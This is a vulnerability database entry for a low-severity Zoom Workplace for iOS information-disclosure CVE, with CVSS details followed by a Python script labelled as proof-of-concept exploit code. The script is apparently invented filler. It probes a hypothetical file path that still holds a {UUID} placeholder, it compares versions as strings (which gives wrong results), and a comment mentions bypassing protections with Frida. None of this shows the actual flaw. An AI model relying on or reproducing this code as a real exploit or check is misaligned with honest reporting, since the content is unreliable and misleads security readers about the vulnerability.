Protection Mechanism Failure in Zoom Workplace for iOS before version 7.0.0 may allow an authenticated user to conduct a disclosure of information via physical access.
CVSS Details
CVSS Score
1.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Zoom Workplace for iOS < 7.0.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2026-30904
Zoom Workplace for iOS < 7.0.0 Information Disclosure
This script simulates checking for the vulnerability condition.
"""
import os
VULNERABLE_VERSION = "7.0.0"
TARGET_APP_BUNDLE_ID = "us.zoom.videomeetings"
# Hypothetical path where sensitive data might be exposed due to protection failure
SENSITIVE_DATA_PATH = "/var/mobile/Containers/Data/Application/{UUID}/Library/Caches/SensitiveCache.db"
def is_vulnerable(version):
"""Check if the installed version is vulnerable."""
return version < VULNERABLE_VERSION
def check_info_disclosure():
"""
Simulates the exploitation scenario.
Requires physical access and authenticated context.
"""
print("[+] Attempting to access sensitive data...")
# In a real physical access scenario, an attacker might mount the filesystem
# or use a tool like Frida to bypass protections and read this file.
if os.path.exists(SENSITIVE_DATA_PATH):
print(f"[!] Vulnerability Confirmed: Sensitive data exposed at {SENSITIVE_DATA_PATH}")
return True
else:
print("[-] Path not found or protection mechanism active.")
return False
if __name__ == "__main__":
current_version = "6.5.0" # Example vulnerable version
if is_vulnerable(current_version):
print(f"[+] Target is vulnerable (Version: {current_version})")
check_info_disclosure()
else:
print("[-] Target is not vulnerable.")